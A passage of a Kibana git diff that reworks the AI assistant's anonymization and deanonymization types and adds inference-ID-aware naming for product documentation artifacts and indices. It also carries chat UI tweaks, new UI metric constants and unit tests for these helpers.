} from '../inference_task'; +import { Deanonymization } from './anonymization'; +import { Message } from './messages'; import type { ToolCallsOf, ToolOptions } from './tools'; /** @@ -33,18 +35,16 @@ export type ChatCompletionMessageEvent['toolCalls']; + /** + * Optional deanonymized input messages metadata + */ + deanonymized_input?: Array<{ message: Message; deanonymizations: Deanonymization[] }>; + /** + * Optional deanonymized output metadata + */ + deanonymized_output?: { message: Message; deanonymizations: Deanonymization[] }; } >; -// with unredactions -export interface ChatCompletionUnredactedMessageEvent< - TToolOptions extends ToolOptions = ToolOptions -> extends ChatCompletionMessageEvent { - unredactions: Array<{ - entity: string; - class_name: string; - hash: string; - }>; -} /** * Represent a partial tool call present in a chunk event. * @@ -87,6 +87,14 @@ export type ChatCompletionChunkEvent = InferenceTaskEventBase< * The tool call chunks */ tool_calls: ChatCompletionChunkToolCall[]; + /** + * Optional deanonymized input messages metadata + */ + deanonymized_input?: Array<{ message: any; deanonymizations: Deanonymization[] }>; + /** + * Optional deanonymized output metadata + */ + deanonymized_output?: { message: any; deanonymizations: Deanonymization[] }; } >; diff --git a/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/index.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/index.ts index a9d4b08eb052a..674019e0c0dce 100644 --- a/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/index.ts +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/src/chat_complete/index.ts @@ -67,3 +67,17 @@ export { isTokenLimitReachedError, isToolNotFoundError, } from './errors'; + +export type { + AnonymizationRule, + AnonymizationEntity, + Anonymization, + Deanonymization, + AnonymizationOutput, + DeanonymizationOutput, + DeanonymizedMessage, + RegexAnonymizationRule, + NamedEntityRecognitionRule, + AnonymizationSettings, + AnonymizationRegexWorkerTaskPayload, +} from './anonymization'; diff --git a/x-pack/platform/packages/shared/ai-infra/inference-common/src/inference_endpoints.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/src/inference_endpoints.ts index 1fc2116d3b585..77c02becaa88e 100644 --- a/x-pack/platform/packages/shared/ai-infra/inference-common/src/inference_endpoints.ts +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/src/inference_endpoints.ts @@ -10,6 +10,7 @@ */ export const defaultInferenceEndpoints = { ELSER: '.elser-2-elasticsearch', + ELSER_IN_EIS_INFERENCE_ID: '.elser-2-elastic', MULTILINGUAL_E5_SMALL: '.multilingual-e5-small-elasticsearch', } as const; diff --git a/x-pack/test/observability_ai_assistant_api_integration/enterprise/config.ts b/x-pack/platform/packages/shared/ai-infra/inference-common/src/ui_settings/settings_keys.ts similarity index 66% rename from x-pack/test/observability_ai_assistant_api_integration/enterprise/config.ts rename to x-pack/platform/packages/shared/ai-infra/inference-common/src/ui_settings/settings_keys.ts index 598ecae70efbb..130044019bb1e 100644 --- a/x-pack/test/observability_ai_assistant_api_integration/enterprise/config.ts +++ b/x-pack/platform/packages/shared/ai-infra/inference-common/src/ui_settings/settings_keys.ts @@ -5,7 +5,4 @@ * 2.0. */ -import { configs } from '../configs'; - -// eslint-disable-next-line import/no-default-export -export default configs.enterprise; +export const aiAssistantAnonymizationSettings = 'aiAssistant:anonymizationSettings'; diff --git a/x-pack/platform/packages/shared/ai-infra/product-doc-common/kibana.jsonc b/x-pack/platform/packages/shared/ai-infra/product-doc-common/kibana.jsonc index ed5332676de2e..b39155b2a51d8 100644 --- a/x-pack/platform/packages/shared/ai-infra/product-doc-common/kibana.jsonc +++ b/x-pack/platform/packages/shared/ai-infra/product-doc-common/kibana.jsonc @@ -6,4 +6,5 @@ ], "group": "platform", "visibility": "shared" -} \ No newline at end of file + +} diff --git a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.test.ts b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.test.ts index 2b6362dbf4aad..b4a763ea9e9db 100644 --- a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.test.ts +++ b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.test.ts @@ -5,7 +5,7 @@ * 2.0. */ -import { getArtifactName, parseArtifactName } from './artifact'; +import { getArtifactName, parseArtifactName, DEFAULT_ELSER } from './artifact'; describe('getArtifactName', () => { it('builds the name based on the provided product name and version', () => { @@ -37,6 +37,32 @@ describe('getArtifactName', () => { }) ).toEqual('kb-product-doc-elasticsearch-8.17'); }); + it('generates a name with inference id when inference_id is not the ELSER default', () => { + expect( + getArtifactName({ + productName: 'kibana', + productVersion: '8.16', + inferenceId: '.multilingual-e5-small-elasticsearch', + }) + ).toEqual('kb-product-doc-kibana-8.16--.multilingual-e5-small-elasticsearch.zip'); + expect( + getArtifactName({ + productName: 'kibana', + productVersion: '8.16', + inferenceId: '.multilingual-e5-small-elasticsearch', + excludeExtension: true, + }) + ).toEqual('kb-product-doc-kibana-8.16--.multilingual-e5-small-elasticsearch'); + }); + it('generates a name with inference id when inference_id is the ELSER default', () => { + expect( + getArtifactName({ + productName: 'kibana', + productVersion: '8.16', + inferenceId: DEFAULT_ELSER, + }) + ).toEqual('kb-product-doc-kibana-8.16.zip'); + }); }); describe('parseArtifactName', () => { @@ -61,4 +87,22 @@ describe('parseArtifactName', () => { it('returns undefined if the provided string is not strictly lowercase', () => { expect(parseArtifactName('kb-product-doc-Security-8.17')).toEqual(undefined); }); + it('parses an artifact name with inference id and extension', () => { + expect( + parseArtifactName('kb-product-doc-kibana-8.16--.multilingual-e5-small-elasticsearch.zip') + ).toEqual({ + productName: 'kibana', + productVersion: '8.16', + inferenceId: '.multilingual-e5-small-elasticsearch', + }); + }); + it('parses an artifact name with inference id when it is not the default', () => { + expect( + parseArtifactName('kb-product-doc-kibana-8.16--.multilingual-e5-small-elasticsearch') + ).toEqual({ + productName: 'kibana', + productVersion: '8.16', + inferenceId: '.multilingual-e5-small-elasticsearch', + }); + }); }); diff --git a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.ts b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.ts index 1a6745abd733d..d67138a8d39f0 100644 --- a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.ts +++ b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/artifact.ts @@ -7,33 +7,51 @@ import { type ProductName, DocumentationProduct } from './product'; -// kb-product-doc-elasticsearch-8.15.zip -const artifactNameRegexp = /^kb-product-doc-([a-z]+)-([0-9]+\.[0-9]+)(\.zip)?$/; const allowedProductNames: ProductName[] = Object.values(DocumentationProduct); +export const DEFAULT_ELSER = '.elser-2-elasticsearch'; + export const getArtifactName = ({ productName, productVersion, excludeExtension = false, + inferenceId, }: { productName: ProductName; productVersion: string; excludeExtension?: boolean; + inferenceId?: string; }): string => { const ext = excludeExtension ? '' : '.zip'; - return `kb-product-doc-${productName}-${productVersion}${ext}`.toLowerCase(); + return `kb-product-doc-${productName}-${productVersion}${ + inferenceId && inferenceId !== DEFAULT_ELSER ? `--${inferenceId}` : '' + }${ext}`.toLowerCase(); }; export const parseArtifactName = (artifactName: string) => { - const match = artifactNameRegexp.exec(artifactName); - if (match) { - const productName = match[1].toLowerCase() as ProductName; - const productVersion = match[2].toLowerCase(); - if (allowedProductNames.includes(productName)) { - return { - productName, - productVersion, - }; - } + // drop ".zip" (if any) + let name = artifactName.endsWith('.zip') ? artifactName.slice(0, -4) : artifactName; + + // pull off the final "--" (if present) + let inferenceId: string | undefined; + const lastDashDash = name.lastIndexOf('--'); + if (lastDashDash !== -1) { + inferenceId = name.slice(lastDashDash + 2); + name = name.slice(0, lastDashDash); // strip it for the base match } + + // match the main pattern kb-product-doc-- + const match = name.match(/^kb-product-doc-([a-z]+)-([0-9]+\.[0-9]+)$/); + if (!match) return; + + const productName = match[1].toLowerCase() as ProductName; + const productVersion = match[2].toLowerCase(); + + if (!allowedProductNames.includes(productName)) return; + + return { + productName, + productVersion, + ...(inferenceId ? { inferenceId } : {}), + }; }; diff --git a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/indices.ts b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/indices.ts index 90e416ff48c46..a7f264938dab8 100644 --- a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/indices.ts +++ b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/indices.ts @@ -5,11 +5,14 @@ * 2.0. */ +import { isImpliedDefaultElserInferenceId } from './is_default_inference_endpoint'; import type { ProductName } from './product'; export const productDocIndexPrefix = '.kibana_ai_product_doc'; export const productDocIndexPattern = `${productDocIndexPrefix}_*`; -export const getProductDocIndexName = (productName: ProductName): string => { - return `${productDocIndexPrefix}_${productName.toLowerCase()}`; +export const getProductDocIndexName = (productName: ProductName, inferenceId?: string): string => { + return `${productDocIndexPrefix}_${productName.toLowerCase()}${ + !isImpliedDefaultElserInferenceId(inferenceId) ? `-${inferenceId}` : '' + }`; }; diff --git a/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/is_default_inference_endpoint.ts b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/is_default_inference_endpoint.ts new file mode 100644 index 0000000000000..a2c0bfc01d7a3 --- /dev/null +++ b/x-pack/platform/packages/shared/ai-infra/product-doc-common/src/is_default_inference_endpoint.ts @@ -0,0 +1,22 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { defaultInferenceEndpoints } from '@kbn/inference-common'; + +/** + * Returns true if inferenceId is not provided, or when provided, it is a default ELSER inference ID + * @param inferenceId + * @returns + */ +export const isImpliedDefaultElserInferenceId = (inferenceId: string | null | undefined) => { + return ( + inferenceId === null || + inferenceId === undefined || + inferenceId === defaultInferenceEndpoints.ELSER || + inferenceId === defaultInferenceEndpoints.ELSER_IN_EIS_INFERENCE_ID + ); +}; diff --git a/x-pack/platform/packages/shared/ai-infra/product-doc-common/tsconfig.json b/x-pack/platform/packages/shared/ai-infra/product-doc-common/tsconfig.json index 63f0b5ff33faa..d40c9dc9a23d1 100644 --- a/x-pack/platform/packages/shared/ai-infra/product-doc-common/tsconfig.json +++ b/x-pack/platform/packages/shared/ai-infra/product-doc-common/tsconfig.json @@ -13,5 +13,7 @@ "exclude": [ "target/**/*" ], - "kbn_references": [] + "kbn_references": [ + "@kbn/inference-common" + ] } diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_body.tsx b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_body.tsx index e48f86f1d812a..d7ddc2c53b2dc 100644 --- a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_body.tsx +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_body.tsx @@ -103,8 +103,8 @@ const fadeInAnimation = keyframes` const animClassName = (euiTheme: UseEuiTheme['euiTheme']) => css` height: 100%; - opacity: 0; ${euiCanAnimate} { + opacity: 0; animation: ${fadeInAnimation} ${euiTheme.animation.normal} ${euiTheme.animation.bounce} ${euiTheme.animation.normal} forwards; } @@ -298,24 +298,35 @@ export function ChatBody({ ({ message, payload }: { message: Message; payload: ChatActionClickPayload }) => { setStickToBottom(true); switch (payload.type) { - case ChatActionClickType.executeEsqlQuery: + case ChatActionClickType.executeEsqlQuery: { + const now = new Date().toISOString(); next( - messages.concat({ - '@timestamp': new Date().toISOString(), - message: { - role: MessageRole.Assistant, - content: '', - function_call: { - name: 'execute_query', - arguments: JSON.stringify({ - query: payload.query, - }), - trigger: MessageRole.User, + messages.concat([ + { + '@timestamp': now, + message: { + role: MessageRole.User, + content: `Display results for the following ES|QL query:\n\n\`\`\`esql\n${payload.query}\n\`\`\``, }, }, - }) + { + '@timestamp': now, + message: { + role: MessageRole.Assistant, + content: '', + function_call: { + name: 'execute_query', + arguments: JSON.stringify({ + query: payload.query, + }), + trigger: MessageRole.User, + }, + }, + }, + ]) ); break; + } case ChatActionClickType.updateVisualization: const visualizeQueryResponse = message; @@ -339,25 +350,36 @@ export function ChatBody({ }) ); break; - case ChatActionClickType.visualizeEsqlQuery: + case ChatActionClickType.visualizeEsqlQuery: { + const now = new Date().toISOString(); next( - messages.concat({ - '@timestamp': new Date().toISOString(), - message: { - role: MessageRole.Assistant, - content: '', - function_call: { - name: 'visualize_query', - arguments: JSON.stringify({ - query: payload.query, - intention: VisualizeESQLUserIntention.visualizeAuto, - }), - trigger: MessageRole.User, + messages.concat([ + { + '@timestamp': now, + message: { + role: MessageRole.User, + content: `Visualize the following ES|QL query:\n\n\`\`\`esql\n${payload.query}\n\`\`\``, }, }, - }) + { + '@timestamp': now, + message: { + role: MessageRole.Assistant, + content: '', + function_call: { + name: 'visualize_query', + arguments: JSON.stringify({ + query: payload.query, + intention: VisualizeESQLUserIntention.visualizeAuto, + }), + trigger: MessageRole.User, + }, + }, + }, + ]) ); break; + } } }, [messages, next] diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.test.tsx b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.test.tsx index 2f948b6c5de1c..2e1c25a29d5ca 100644 --- a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.test.tsx +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.test.tsx @@ -8,8 +8,11 @@ import React from 'react'; import { render, screen } from '@testing-library/react'; import { ChatHeader } from './chat_header'; -import { getElasticManagedLlmConnector } from '@kbn/observability-ai-assistant-plugin/public'; -import { ElasticLlmTourCallout } from '@kbn/observability-ai-assistant-plugin/public'; +import { + getElasticManagedLlmConnector, + ElasticLlmTourCallout, + useObservabilityAIAssistantFlyoutStateContext, +} from '@kbn/observability-ai-assistant-plugin/public'; jest.mock('@kbn/observability-ai-assistant-plugin/public', () => ({ ElasticLlmTourCallout: jest.fn(({ children }) => ( @@ -17,6 +20,7 @@ jest.mock('@kbn/observability-ai-assistant-plugin/public', () => ({ )), getElasticManagedLlmConnector: jest.fn(), useElasticLlmCalloutDismissed: jest.fn().mockReturnValue([false, jest.fn()]), + useObservabilityAIAssistantFlyoutStateContext: jest.fn().mockReturnValue({ isFlyoutOpen: false }), ElasticLlmCalloutKey: { TOUR_CALLOUT: 'tour_callout', }, @@ -34,6 +38,24 @@ jest.mock('./chat_context_menu', () => ({ ChatContextMenu: () =>
, })); +const elasticManagedConnector = { + id: 'elastic-llm', + actionTypeId: '.inference', + name: 'Elastic LLM', + isPreconfigured: true, + isDeprecated: false, + isSystemAction: false, + config: { + provider: 'elastic', + taskType: 'chat_completion', + inferenceId: '.rainbow-sprinkles-elastic', + providerConfig: { + model_id: 'rainbow-sprinkles', + }, + }, + referencedByCount: 0, +}; + describe('ChatHeader', () => { const baseProps = { conversationId: 'abc', @@ -70,23 +92,6 @@ describe('ChatHeader', () => { }); it('shows the Elastic Managed LLM connector tour callout when the connector is present', () => { - const elasticManagedConnector = { - id: 'elastic-llm', - actionTypeId: '.inference', - name: 'Elastic LLM', - isPreconfigured: true, - isDeprecated: false, - isSystemAction: false, - config: { - provider: 'elastic', - taskType: 'chat_completion', - inferenceId: '.rainbow-sprinkles-elastic', - providerConfig: { - model_id: 'rainbow-sprinkles', - }, - }, - referencedByCount: 0, - }; (getElasticManagedLlmConnector as jest.Mock).mockReturnValue(elasticManagedConnector); render( @@ -129,4 +134,56 @@ describe('ChatHeader', () => { expect(screen.getByTestId('chat-actions-menu')).toBeInTheDocument(); expect(ElasticLlmTourCallout).not.toHaveBeenCalled(); }); + + it('hides the tour callout from the AI Assistant page when the flyout is open', () => { + (getElasticManagedLlmConnector as jest.Mock).mockReturnValue(elasticManagedConnector); + (useObservabilityAIAssistantFlyoutStateContext as jest.Mock).mockReturnValue({ + isFlyoutOpen: true, + }); + + render( + {}, + reloadConnectors: () => {}, + }} + /> + ); + + expect(screen.queryByTestId('elastic-llm-tour')).toBeNull(); + expect(screen.getByTestId('chat-actions-menu')).toBeInTheDocument(); + expect(ElasticLlmTourCallout).not.toHaveBeenCalled(); + }); + + it('shows the tour callout on the AI Assistant page when the flyout is closed', () => { + (getElasticManagedLlmConnector as jest.Mock).mockReturnValue(elasticManagedConnector); + (useObservabilityAIAssistantFlyoutStateContext as jest.Mock).mockReturnValue({ + isFlyoutOpen: false, + }); + + render( + {}, + reloadConnectors: () => {}, + }} + /> + ); + + expect(screen.getByTestId('elastic-llm-tour')).toBeInTheDocument(); + expect(screen.getByTestId('chat-actions-menu')).toBeInTheDocument(); + expect(ElasticLlmTourCallout).toHaveBeenCalled(); + }); }); diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.tsx b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.tsx index 3fb4e9b67aa78..a6e327a84ec3c 100644 --- a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.tsx +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_header.tsx @@ -27,6 +27,7 @@ import { getElasticManagedLlmConnector, ElasticLlmCalloutKey, useElasticLlmCalloutDismissed, + useObservabilityAIAssistantFlyoutStateContext, } from '@kbn/observability-ai-assistant-plugin/public'; import { ChatActionsMenu } from './chat_actions_menu'; import type { UseGenAIConnectorsResult } from '../hooks/use_genai_connectors'; @@ -120,6 +121,8 @@ export function ChatHeader({ false ); + const { isFlyoutOpen } = useObservabilityAIAssistantFlyoutStateContext(); + return ( - {!!elasticManagedLlm && !tourCalloutDismissed ? ( - setTourCalloutDismissed(true)} - > + {!!elasticManagedLlm && + !tourCalloutDismissed && + !(isConversationApp && isFlyoutOpen) ? ( + setTourCalloutDismissed(true)}> ) : ( diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.test.tsx b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.test.tsx index 967fb1c1b2682..ada390394e894 100644 --- a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.test.tsx +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.test.tsx @@ -8,28 +8,27 @@ import { highlightContent } from './chat_timeline'; describe('highlightContent', () => { - const entity = 'John Doe'; + const entityValue = 'John Doe'; + const entityObj = { class_name: 'PER', value: entityValue, mask: 'PERSON_1' }; it('highlights anonymized entities', () => { - const content = `Hi, my name is ${entity}.`; - const startPos = content.indexOf(entity); - const endPos = startPos + entity.length; + const content = `Hi, my name is ${entityValue}.`; + const startPos = content.indexOf(entityValue); + const endPos = startPos + entityValue.length; - const result = highlightContent(content, [ - { start_pos: startPos, end_pos: endPos, entity, class_name: 'PER' }, - ]); + const result = highlightContent(content, [{ start: startPos, end: endPos, entity: entityObj }]); - expect(result).toBe(`Hi, my name is !{anonymized{"entityClass":"PER","content":"${entity}"}}.`); + expect(result).toBe( + `Hi, my name is !{anonymized{"entityClass":"PER","content":"${entityValue}"}}.` + ); }); it('does not highlight entities that are inside inlined code', () => { - const content = `Here is my full name, inlined in code \`${entity}\`.`; - const startPos = content.indexOf(entity); - const endPos = startPos + entity.length; + const content = `Here is my full name, inlined in code \`${entityValue}\`.`; + const startPos = content.indexOf(entityValue); + const endPos = startPos + entityValue.length; - const result = highlightContent(content, [ - { start_pos: startPos, end_pos: endPos, entity, class_name: 'PER' }, - ]); + const result = highlightContent(content, [{ start: startPos, end: endPos, entity: entityObj }]); // The content should remain unchanged because the entity is inside inline code. expect(result).toBe(content); @@ -38,15 +37,13 @@ describe('highlightContent', () => { it('does not highlight entities that are inside fenced code blocks', () => { const content = `Here is code block: \`\`\` - ${entity} + ${entityValue} \`\`\` End.`; - const startPos = content.indexOf(entity); - const endPos = startPos + entity.length; + const startPos = content.indexOf(entityValue); + const endPos = startPos + entityValue.length; - const result = highlightContent(content, [ - { start_pos: startPos, end_pos: endPos, entity, class_name: 'PER' }, - ]); + const result = highlightContent(content, [{ start: startPos, end: endPos, entity: entityObj }]); // The content should remain unchanged because the entity is inside a fenced code block. expect(result).toBe(content); diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.tsx b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.tsx index 54ed429962f98..a8cb493867541 100644 --- a/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.tsx +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/chat/chat_timeline.tsx @@ -17,9 +17,9 @@ import { type Message, type ObservabilityAIAssistantChatService, type TelemetryEventTypeWithPayload, - aiAssistantAnonymizationRules, } from '@kbn/observability-ai-assistant-plugin/public'; -import { AnonymizationRule } from '@kbn/observability-ai-assistant-plugin/common'; +import { aiAssistantAnonymizationSettings } from '@kbn/inference-common'; +import { AnonymizationSettings } from '@kbn/inference-common'; import { ChatItem } from './chat_item'; import { ChatConsolidatedItems } from './chat_consolidated_items'; import { getTimelineItemsfromConversation } from '../utils/get_timeline_items_from_conversation'; @@ -79,37 +79,33 @@ export interface ChatTimelineProps { export function highlightContent( content: string, detectedEntities: Array<{ - start_pos: number; - end_pos: number; - entity: string; - class_name: string; + start: number; + end: number; + entity: { class_name: string; value: string; mask: string }; }> ): React.ReactNode { // Sort the entities by start position - const sortedEntities = [...detectedEntities].sort((a, b) => a.start_pos - b.start_pos); + const sortedEntities = [...detectedEntities].sort((a, b) => a.start - b.start); const parts: Array = []; let lastIndex = 0; sortedEntities.forEach((entity, index) => { // Add the text before the entity - if (entity.start_pos > lastIndex) { - parts.push(content.substring(lastIndex, entity.start_pos)); + if (entity.start > lastIndex) { + parts.push(content.substring(lastIndex, entity.start)); } // Currently only highlighting the content that's not inside code blocks - if ( - isInsideInlineCode(content, entity.start_pos) || - isInsideCodeBlock(content, entity.start_pos) - ) { - parts.push(`${content.substring(entity.start_pos, entity.end_pos)}`); + if (isInsideInlineCode(content, entity.start) || isInsideCodeBlock(content, entity.start)) { + parts.push(`${content.substring(entity.start, entity.end)}`); } else { parts.push( - `!{anonymized{"entityClass":"${entity.class_name}","content":"${content.substring( - entity.start_pos, - entity.end_pos + `!{anonymized{"entityClass":"${entity.entity.class_name}","content":"${content.substring( + entity.start, + entity.end )}"}}` ); } - lastIndex = entity.end_pos; + lastIndex = entity.end; }); // Add any remaining text after the last entity if (lastIndex < content.length) { @@ -155,18 +151,19 @@ export function ChatTimeline({ } = useKibana(); const { anonymizationEnabled } = useMemo(() => { - try { - // the response is JSON but will be a string while the setting is hidden temporarily (unregistered) - let rules = uiSettings?.get(aiAssistantAnonymizationRules); - if (typeof rules === 'string') { - rules = JSON.parse(rules); - } - return { - anonymizationEnabled: Array.isArray(rules) && rules.some((rule) => rule.enabled), - }; - } catch (e) { - return { anonymizationEnabled: false }; - } + // the response is JSON but will be a string while the setting is hidden temporarily (unregistered) + const anonymizationRulesSettingsStr = uiSettings?.get( + aiAssistantAnonymizationSettings, + JSON.stringify({ rules: [] }) + ); + + const settings = anonymizationRulesSettingsStr + ? (JSON.parse(anonymizationRulesSettingsStr) as AnonymizationSettings) + : undefined; + + return { + anonymizationEnabled: settings && settings.rules.some((rule) => rule.enabled), + }; }, [uiSettings]); const { euiTheme } = useEuiTheme(); @@ -197,11 +194,11 @@ export function ChatTimeline({ let currentGroup: ChatTimelineItem[] | null = null; for (const item of timelineItems) { - const { content, unredactions } = item.message.message; + const { content, deanonymizations } = item.message.message; if (item.display.hide || !item) continue; - if (anonymizationEnabled && content && unredactions) { - item.anonymizedHighlightedContent = highlightContent(content, unredactions); + if (anonymizationEnabled && content && deanonymizations) { + item.anonymizedHighlightedContent = highlightContent(content, deanonymizations); } if (item.display.collapsed) { diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/hooks/use_current_inference_id.ts b/x-pack/platform/packages/shared/kbn-ai-assistant/src/hooks/use_current_inference_id.ts new file mode 100644 index 0000000000000..bd369ca3196ac --- /dev/null +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/hooks/use_current_inference_id.ts @@ -0,0 +1,19 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { useMemo } from 'react'; +import { useKnowledgeBase } from './use_knowledge_base'; + +export const useCurrentlyDeployedInferenceId = () => { + const knowledgeBase = useKnowledgeBase(); + return useMemo( + () => + knowledgeBase.status.value?.currentInferenceId ?? + knowledgeBase.status.value?.endpoint?.inference_id, + [knowledgeBase.status.value] + ); +}; diff --git a/x-pack/platform/packages/shared/kbn-ai-assistant/src/utils/builders.ts b/x-pack/platform/packages/shared/kbn-ai-assistant/src/utils/builders.ts index d3dbe60837ec2..5b002607c99ad 100644 --- a/x-pack/platform/packages/shared/kbn-ai-assistant/src/utils/builders.ts +++ b/x-pack/platform/packages/shared/kbn-ai-assistant/src/utils/builders.ts @@ -20,7 +20,7 @@ type BuildMessageProps = DeepPartial & { name: string; trigger: MessageRole.Assistant | MessageRole.User | MessageRole.Elastic; }; - unredactions?: Message['message']['unredactions']; + deanonymizations?: Message['message']['deanonymizations']; }; }; diff --git a/x-pack/platform/packages/shared/kbn-cloud-security-posture/common/utils/ui_metrics.ts b/x-pack/platform/packages/shared/kbn-cloud-security-posture/common/utils/ui_metrics.ts index 1bd4d82e5a23b..0bb0df0ecf0ae 100644 --- a/x-pack/platform/packages/shared/kbn-cloud-security-posture/common/utils/ui_metrics.ts +++ b/x-pack/platform/packages/shared/kbn-cloud-security-posture/common/utils/ui_metrics.ts @@ -52,6 +52,8 @@ export const ASSET_INVENTORY_EXPAND_FLYOUT_SUCCESS = 'asset-inventory-expand-flyout-success' as const; export const ASSET_INVENTORY_EXPAND_FLYOUT_ERROR = 'asset-inventory-expand-flyout-error' as const; export const GENERIC_ENTITY_FLYOUT_OPENED = 'generic-entity-flyout-opened' as const; +export const KSPM_NAMESPACE_SELECTOR = 'kspm-dashboard-namespace-selector-dropdown' as const; +export const CSPM_NAMESPACE_SELECTOR = 'cspm-dashboard-namespace-selector-dropdown' as const; export type CloudSecurityUiCounters = | typeof ENTITY_FLYOUT_WITH_MISCONFIGURATION_VISIT @@ -76,7 +78,9 @@ export type CloudSecurityUiCounters = | typeof GRAPH_INVESTIGATION | typeof ASSET_INVENTORY_EXPAND_FLYOUT_SUCCESS | typeof ASSET_INVENTORY_EXPAND_FLYOUT_ERROR - | typeof GENERIC_ENTITY_FLYOUT_OPENED; + | typeof GENERIC_ENTITY_FLYOUT_OPENED + | typeof KSPM_NAMESPACE_SELECTOR + | typeof CSPM_NAMESPACE_SELECTOR; export class UiMetricService { private usageCollection: UsageCollectionSetup | undefined; diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/capabilities/index.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/capabilities/index.ts index 6f837cecd78d8..854e7f0d84f74 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/capabilities/index.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/capabilities/index.ts @@ -21,5 +21,4 @@ export type AssistantFeatureKey = keyof AssistantFeatures; export const defaultAssistantFeatures = Object.freeze({ assistantModelEvaluation: false, defendInsights: true, - advancedEsqlGeneration: false, }); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.test.ts b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.test.ts index 8b9fa106a940a..e6d1fb7ee694d 100644 --- a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.test.ts +++ b/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.test.ts @@ -18,6 +18,8 @@ import { PRIVILEGE_ESCALATION, RECONNAISSANCE, replaceNewlineLiterals, + getOriginalAlertIds, + transformInternalReplacements, } from './attack_discovery_helpers'; import * as i18n from './translations'; import type { AttackDiscovery } from '../..'; @@ -128,4 +130,61 @@ describe('helpers', () => { expect(result).toEqual(input); }); }); + + describe('getOriginalAlertIds', () => { + const alertIds = ['alert1', 'alert2', 'alert3']; + + it('returns the original alertIds when no replacements are provided', () => { + const result = getOriginalAlertIds({ alertIds }); + + expect(result).toEqual(alertIds); + }); + + it('returns the replaced alertIds when replacements are provided', () => { + const replacements = { + alert1: 'replaced1', + alert3: 'replaced3', + }; + const expected = ['replaced1', 'alert2', 'replaced3']; + + const result = getOriginalAlertIds({ alertIds, replacements }); + + expect(result).toEqual(expected); + }); + + it('returns the original alertIds when replacements are provided but no replacement is found', () => { + const replacements = { + alert4: 'replaced4', + alert5: 'replaced5', + }; + + const result = getOriginalAlertIds({ alertIds, replacements }); + + expect(result).toEqual(alertIds); + }); + }); + + describe('transformInternalReplacements', () => { + it('returns empty object if empty array passed as internal replacements', () => { + const result = transformInternalReplacements([]); + + expect(result).toEqual({}); + }); + + it('returns correctly transformed replacements object', () => { + const internalReplacements = [ + { uuid: 'e56f5c52-ebb0-4ec8-aad5-2659df2e0206', value: 'root' }, + { uuid: '99612aef-0a5a-41da-9da4-b5b5ece226a4', value: 'SRVMAC08' }, + { uuid: '6f53c297-f5cb-48c3-8aff-2e2d7a390169', value: 'Administrator' }, + ]; + + const result = transformInternalReplacements(internalReplacements); + + expect(result).toEqual({ + 'e56f5c52-ebb0-4ec8-aad5-2659df2e0206': 'root', + '99612aef-0a5a-41da-9da4-b5b5ece226a4': 'SRVMAC08', + '6f53c297-f5cb-48c3-8aff-2e2d7a390169': 'Administrator', + }); + }); + }); }); diff --git a/x-pack/platform/packages/shared/kbn-elastic-assistant-common/impl/utils/attack_discovery_helpers.ts 